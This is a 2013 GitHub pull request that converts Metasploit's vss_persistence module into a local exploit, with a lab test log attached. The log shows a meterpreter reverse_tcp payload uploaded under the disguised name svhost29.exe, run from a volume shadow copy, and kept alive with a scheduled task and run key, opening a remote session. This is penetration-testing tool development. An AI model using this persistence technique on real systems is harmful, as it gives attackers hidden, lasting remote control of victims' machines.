MrXors/metasploit-framework — pull request #2 by jvazquez-r7 (2013-10-15 16:17:06+00:00)
Title: Conver vss_persistence to Local Exploit

Okay, so after speaking with @jlee-r7:

```
< egypt> juan: it takes an executable, so it should be an exploit
< egypt> juan: but at the same time, i can see use cases where you'd want to use an outside exe.
< egypt> juan: EXE::Custom solves that
< egypt> ok, so yes. local exploit with the EXE mixin so users can use EXE::Custom
```

I've already converted the post module to local exploit, it's an easy change :) So user hasn't to worry about the payload creation if he would like to make msf session persistent. If he wants to use his own EXE, still the EXE::Custom provided by the Msf::Exploit::EXE mixin can be used :)

Test:

```
msf exploit(handler) > sessions

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
6 meterpreter x86/win32 WIN-RNJ7NBRK9L7\Juan Vazquez @ WIN-RNJ7NBRK9L7 192.168.172.1:4444 -> 192.168.172.134:49158 (192.168.172.134)

msf exploit(handler) > use exploit/windows/local/vss_persistence
msf exploit(vss_persistence) > show options

Module options (exploit/windows/local/vss_persistence):

Name Current Setting Required Description
---- --------------- -------- -----------
DELAY 2 yes Delay in Minutes for Reconnect attempt. Needs SCHTASK set to true to work. Default delay is 1 minute.
EXECUTE false yes Run the EXE on the remote system.
RPATH no Path on remote system to place Executable. Example: \\Windows\\Temp (DO NOT USE C:\ in your RPATH!)
RUNKEY true yes Create AutoRun Key for the EXE
SCHTASK true yes Create a Scheduled Task for the EXE.
SESSION 5 yes The session to run this module on.
VOLUME C:\ yes Volume to make a copy of.

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST 192.168.172.1 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Windows 7

msf exploit(vss_persistence) > set EXECUTE true
EXECUTE => true
msf exploit(vss_persistence) > set session 6
session => 6
msf exploit(vss_persistence) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] Checking requirements...
[*] Starting Volume Shadow Service...
[*] Volume Shadow Copy service is running.
[*] Uploading payload...
[*] Creating Shadow Volume Copy...
[*] ShadowCopy created successfully
[*] Finding the Shadow Copy Volume...
[*] Deleting malware...
[*] Executing \Windows\Temp\svhost29.exe...
[*] Sending stage (770048 bytes) to 192.168.172.134
[*] Creating Scheduled Task...
[*] Meterpreter session 7 opened (192.168.172.1:4444 -> 192.168.172.134:49162) at 2013-10-15 11:10:27 -0500

^C[-] Exploit failed: Interrupt

meterpreter > getuid
Server username: WIN-RNJ7NBRK9L7\Juan Vazquez
meterpreter > sysinfo
eComputer : WIN-RNJ7NBRK9L7
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.134 - Meterpreter session 7 closed. Reason: User exit

```

@MrXors please, feel free to check, review, discuss and once you feel comfortable you can land it into your repo and the original pull request https://github.com/rapid7/metasploit-framework/pull/2503 will be ready to go!